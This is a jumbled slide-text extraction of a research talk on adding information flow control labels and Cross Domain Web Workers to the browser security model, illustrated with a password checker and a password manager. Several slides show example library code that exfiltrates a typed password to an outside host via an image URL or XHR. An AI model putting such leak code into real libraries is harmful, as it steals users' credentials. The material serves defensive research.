Extending the Web Security Model with Information Flow Control

Size: px

Start display at page:

Download "Extending the Web Security Model with Information Flow Control"

Nathaniel Stevens
6 years ago
Views:

1 Extending the Web Security Model with Information Flow Control Deian Stefan Advised by David Herman

2 Motivation: 3rd party libraries Password-strength checker Desired security policy: Password is not leaked

3 Motivation: 3rd party libraries Password-strength checker Approach 1: import with script <html> <head> <title> My Face Website </title> </head> <script src= ></script> <script> $( #sign-in-form ).submit(function() { checkpasswordstrength($( #password ).val()); }); </script>

4 Motivation: 3rd party libraries Password-strength checker Pro: library can update DOM! Con: trivial leaks! <html> <head> <title> My Face Website </title> </head> <script src= ></script> <script> $( #sign-in-form ).submit(function() { checkpasswordstrength($( #password ).val()); }); </script>

Motivation: 3rd party libraries Password-strength checker Pro: library can update DOM! Con: trivial leaks! function checkpasswordstrength(p) { $( body ).append( <img src= https://pwd-check.ru/leak?

5 Motivation: 3rd party libraries Password-strength checker Pro: library can update DOM! Con: trivial leaks! function checkpasswordstrength(p) { $( body ).append( <img src= + p + /> ); docheckpassword(p); <html> } <head> <title> My Face Website </title> </head> <script src= ></script> <script> $( #sign-in-form ).submit(function() { checkpasswordstrength($( #password ).val()); }); </script>

6 Motivation: 3rd party libraries Password-strength checker Approach 2: use iframe <html> <head> <title> My Face Website </title> </head> <iframe src= id= chk > </iframe> <script> $( #sign-in-form ).submit(function() { var chk = $( #chk ).contentwindow; chk.postmessage($( #password ).val()); }); </script>

7 Motivation: 3rd party libraries Password-strength checker Pro: library can update DOM! Con: trivial leaks! <html> <head> <title> My Face Website </title> </head> <iframe src= id= chk > </iframe> <script> $( #sign-in-form ).submit(function() { var chk = $( #chk ).contentwindow; chk.postmessage($( #password ).val()); }); </script>

8 Motivation: 3rd party libraries <script> Pro: library can update DOM! Con: trivial leaks! function checkpasswordstrength(event) { var p = event.data; $( body ).append( <img src= + p + /> ); docheckpassword(p); } window.addeventlistener( message, checkpasswordstrength, false); <html> </script> <head> <title> My Face Website </title> </head> <iframe src= id= chk > </iframe> <script> $( #sign-in-form ).submit(function() { var chk = $( #chk ).contentwindow; chk.postmessage($( #password ).val()); }); </script> Password-strength checker

9 Motivation: 3rd party libraries Password-strength checker Approach 3: use Workers <html> <head> <title> My Face Website </title> </head> <script> var chk = new Worker( ); $( #sign-in-form ).submit(function() { chk.onmessage = function (event) { // update DOM with password info }; chk.postmessage($( #password ).val()); }); </script>

10 Motivation: 3rd party libraries Password-strength checker Pro: library cannot leak through DOM! Con: trivial leaks! <html> <head> <title> My Face Website </title> </head> <script> var chk = new Worker( ); $( #sign-in-form ).submit(function() { chk.onmessage = function (event) { // update DOM with password info }; chk.postmessage($( #password ).val()); }); </script>

11 Motivation: 3rd party libraries Pro: library cannot leak through DOM! Con: trivial leaks! onmessage = function(event) { var p = event.data; var xhr = new XMLHttpRequest(); Password-strength checker xhr.open( GET, + p); xhr.send(); <html> docheckpassword(p); <head> <title> My Face Website </title> </head> }; <script> var chk = new Worker( ); $( #sign-in-form ).submit(function() { chk.onmessage = function (event) { // update DOM with password info }; chk.postmessage($( #password ).val()); }); </script>

12 Motivation: 3rd party libraries Password-strength checker Approach 4: use iframe + Workers + CSP <html> <head> <title> My Face Website </title> </head> <iframe src= id= chk > </ iframe> <script> $( #sign-in-form ).submit(function() { var chk = $( #chk ).contentwindow; chk.postmessage($( #password ).val()); }); </script>

13 Motivation: 3rd party libraries <script> Approach 4: use iframe + Workers + CSP Content-Security-Policy: connect-src none var chk = new Worker( ); $( #sign-in-form ).submit(function() { Password-strength checker chk.onmessage = function (event) { // update DOM with password info }; chk.postmessage($( #password ).val()); }); <html> </script> <head> <title> My Face Website </title> </head> <iframe src= id= chk > </ iframe> <script> $( #sign-in-form ).submit(function() { var chk = $( #chk ).contentwindow; chk.postmessage($( #password ).val()); }); </script>

14 Motivation: 3rd party libraries Password-strength checker Pro: Achieves desired security policy* Cons: Requires server-side support to set CSP Library can t depend on 3rd party code Limits kind of libraries developers can build E.g., library can t fetch list of passwords

Motivation: 3rd party libraries Password-strength checker Pro: Achieves desired security policy* Cons: CSP spec does not disallow requests from being made!

15 Motivation: 3rd party libraries Password-strength checker Pro: Achieves desired security policy* Cons: CSP spec does not disallow requests from being made! May have to resort to analyzing code: game over. Requires server-side support to set CSP Library can t depend on 3rd party code Limits kind of libraries developers can build E.g., library can t fetch list of passwords

16 Can we do better?

17 Extend the Web Security Model Observation: Checker making request is NOT a security fault Checker reading the password is NOT a security fault Checker making a request after reading the password is a security concern!

18 Extend the Web Security Model Idea: Restrict reading and writing according to the sensitivity of data the code has read thus far E.g., restrict resource loading and XHR requests once password is inspected

19 Extend the Web Security Model Approach: 1. Associate a security label with data and endpoints (e.g., remote hosts) 2. Restrict where information flows according to its label at communication point

20 Extend the Web Security Model Approach: 1. Associate a security label with data and endpoints (e.g., remote hosts) 2. Restrict where information flows according to its label at communication point Information flow control

21 Security labels Security label specifies the privacy concerns of a set of groups Group: set of principals Principal: source of authority (origin) E.g., var facewebgroup = new Group( ); var checkergroup = new Group( ); var policy = new Label([faceWebGroup, checkergroup]); Protect the privacy of AND

22 Associating labels with data Challenge: cannot modify JavaScript engine Idea: Associate label with every browsing context Label raises to reflect reading sensitive data Provide new Cross Domain Web Workers: Label associated with global of Worker Check labels in postmessage, onmessage & XHR

23 Recall: 3rd party libraries Password-strength checker Approach 5: use CDWorkers <html> <head> <title> My Face Website </title> </head> <script> var policy = new Label([ ]); var chk = new CDWorker(policy, ); $( #sign-in-form ).submit(function() { chk.postmessage($( #password ).val()); chk.onmessage = function (event) { // update DOM with password info }; }); </script>

24 Recall: 3rd party libraries Approach 5: // can perform requests to onmessage = function(event) { var p = event.data; var xhr = new XMLHttpRequest(); use CDWorkers Password-strength checker xhr.open( GET, + p); xhr.send(); <html> docheckpassword(p); <head> <title> My Face Website </title> </head> }; <script> var policy = new Label([ ]); var chk = new CDWorker(policy, ); $( #sign-in-form ).submit(function() { chk.postmessage($( #password ).val()); chk.onmessage = function (event) { // update DOM with password info }; }); </script>

25 Recall: 3rd party libraries Approach 5: // can perform requests to onmessage = function(event) { var p = event.data; var xhr = new XMLHttpRequest(); use CDWorkers Initial browsing context label is public: Label() Password-strength checker xhr.open( GET, + p); xhr.send(); <html> docheckpassword(p); <head> <title> My Face Website </title> </head> }; <script> var policy = new Label([ ]); var chk = new CDWorker(policy, ); $( #sign-in-form ).submit(function() { chk.postmessage($( #password ).val()); chk.onmessage = function (event) { // update DOM with password info }; }); </script>

26 Recall: 3rd party libraries Approach 5: policy: Label([ ]); // can perform requests to onmessage Password-strength = function(event) { checker var p = event.data; var xhr = new XMLHttpRequest(); xhr.open( GET, + p); xhr.send(); <html> docheckpassword(p); <head> <title> My Face Website </title> </head> }; <script> var policy = new Label([ ]); var chk = new CDWorker(policy, ); $( #sign-in-form ).submit(function() { chk.postmessage($( #password ).val()); chk.onmessage = function (event) { // update DOM with password info }; }); </script> use CDWorkers Initial browsing context label is public: Label() Reading that that may be sensitive; raise context label to

Recall: 3rd party libraries Approach 5: policy: Label([ https://pwd-check.ru, https://face-web.me ]); // can perform requests Must to https://pwd-check.ru protect privacy of https://pwd-check.

27 Recall: 3rd party libraries Approach 5: policy: Label([ ]); // can perform requests Must to protect privacy of AND onmessage Password-strength = function(event) { checker cannot allow XHR! var p = event.data; var xhr = new XMLHttpRequest(); xhr.open( GET, + p); xhr.send(); <html> docheckpassword(p); <head> <title> My Face Website </title> </head> }; <script> var policy = new Label([ ]); var chk = new CDWorker(policy, ); $( #sign-in-form ).submit(function() { chk.postmessage($( #password ).val()); chk.onmessage = function (event) { // update DOM with password info }; }); </script> use CDWorkers Initial browsing context label is public: Label() Reading that that may be sensitive; raise context label to

28 Recall: 3rd party libraries Approach 5: policy: Label([ ]); // can perform requests Must to protect privacy of AND onmessage Password-strength = function(event) { checker cannot allow XHR! var p = event.data; var xhr = new XMLHttpRequest(); xhr.open( GET, + p); Fail! xhr.send(); <html> docheckpassword(p); <head> <title> My Face Website </title> </head> }; <script> var policy = new Label([ ]); var chk = new CDWorker(policy, ); $( #sign-in-form ).submit(function() { chk.postmessage($( #password ).val()); chk.onmessage = function (event) { // update DOM with password info }; }); </script> use CDWorkers Initial browsing context label is public: Label() Reading that that may be sensitive; raise context label to

29 More generally CDWorker can perform cross-origin XHR to remote host When enclosing context (e.g., iframe or Worker) inspects worker message: it gets tainted! Allows building 3rd party mashups!

30 Third party safe mashup Goal: ensure bank statement and orders remain secret amazon.com amazon.com IFC bank.ch bank.ch

31 Third party safe mashup Goal: ensure bank statement and orders remain secret amazon.com IFC amazon.com { orders: } amazon.com bank.ch bank.ch

32 Third party safe mashup Goal: ensure bank statement and orders remain secret amazon.com IFC amazon.com { orders: } bank.ch amazon.com { statement: } bank.ch bank.ch

33 Third party safe mashup Goal: ensure bank statement and orders remain secret amazon.com a amazon.com { orders: } amazon.com IFC bank.ch { statement: } bank.ch bank.ch

34 Third party safe mashup Goal: ensure bank statement and orders remain secret amazon.com a amazon.com { orders: } amazon.com IFC bank.ch { statement: } bank.ch bank.ch

35 Third party safe mashup Goal: ensure bank statement and orders remain secret amazon.com a b amazon.com { orders: } amazon.com IFC bank.ch { statement: } bank.ch bank.ch

36 Third party safe mashup Goal: ensure bank statement and orders remain secret amazon.com a b a b amazon.com { orders: } amazon.com IFC bank.ch { statement: } bank.ch bank.ch

37 The downside Tainting page means it can t navigate itself: navigation can leak data Cross-domain communication is scary! Need to make sure that covert-channels are addressed

38 The downside Tainting page means it can t navigate itself: navigation can leak data Cross-domain communication is scary! Need to make sure that covert-channels are addressed Use mechanism to tighten same-origin policy!

39 Password Manager Scenario: Password manager as website password manager username ******** key: ******** storage layer Currently trust code to not leak our master password or login password: not good enough!

40 Password Manager Scenario: Password manager as website password manager username ******** key: ******** storage layer #%SDA KO*&A Currently trust code to not leak our master password or login password: not good enough!

41 Password Manager Scenario: Password manager as website password manager username ******** deian w00t key: ******** storage layer #%SDA KO*&A Currently trust code to not leak our master password or login password: not good enough!

42 Password Manager Goal: Facebook only learns Facebook credentials Manager never learns any credentials Ideal: manager never learns master key Storage layer never learn master key or credentials Trust: manager does not collude with storage layer

43 Password Manager password manager username ******** key: ******** storage layer #%SDA KO*&A

44 Password Manager password manager username ******** key: ******** storage layer #%SDA KO*&A

45 Password Manager password manager password-manager username key: ******** ******** storage layer #%SDA KO*&A

46 Password Manager Can only do postmessage to a context that is at least as sensitive! password manager password-manager username key: ******** ******** storage layer #%SDA KO*&A

47 Password Manager Can only do postmessage to a context that is at least as sensitive! password manager password-manager username key: ******** ******** storage layer #%SDA KO*&A password-manager

48 Password Manager Can only do postmessage to a context that is at least as sensitive! password manager password-manager username key: ******** ******** storage layer #%SDA KO*&A password-manager Give up communication privileges to read master key.

49 Password Manager Can only do postmessage to a context that is at least as sensitive! username ******** password manager password-manager key: ******** storage layer key #%SDA KO*&A password-manager Give up communication privileges to read master key.

50 Password Manager Can only do postmessage to a context that is at least as sensitive! username ******** password manager password-manager key: ******** deian storage layer w00t key #%SDA KO*&A password-manager Give up communication privileges to read master key.

51 Password Manager Can only do postmessage to a context that is at least as sensitive! password manager password-manager username ******** deian w00t key: ******** deian storage layer w00t key #%SDA KO*&A password-manager Give up communication privileges to read master key.

52 Password Manager Goal: Facebook only learns Facebook credentials Storage layer would be tainted by Google if it had fetched Google encrypted credentials Manager never learns any credentials Storage layer never learn master key or credentials Have access to decrypted credentials, but cannot disclose to anybody except Facebook

53 Implementation details Prototype implementation in Gecko Uses compartments for isolation (vs. Workers) DOM API for manipulating compartment information, scheduling CDWorkers, creating principals and labels, etc. New wrappers for cross-compartment comm. Use iframe sandbox flags, CSP, and document principals to restrict externalized communication

54 Future work Existing API is Sandbox-like, switch to Worker-like API as presented Evaluate use cases without loosened policy feature I.e., no arbitrary cross-origin communication Current: password manager & encrypted webmail Handle overt channels Formalize system & prove soundness

55 Thank you!

Browser code isolation

CS 155 Spring 2016 Browser code isolation John Mitchell Acknowledgments: Lecture slides are from the Computer Security course taught by Dan Boneh and John Mitchell at Stanford University. When slides are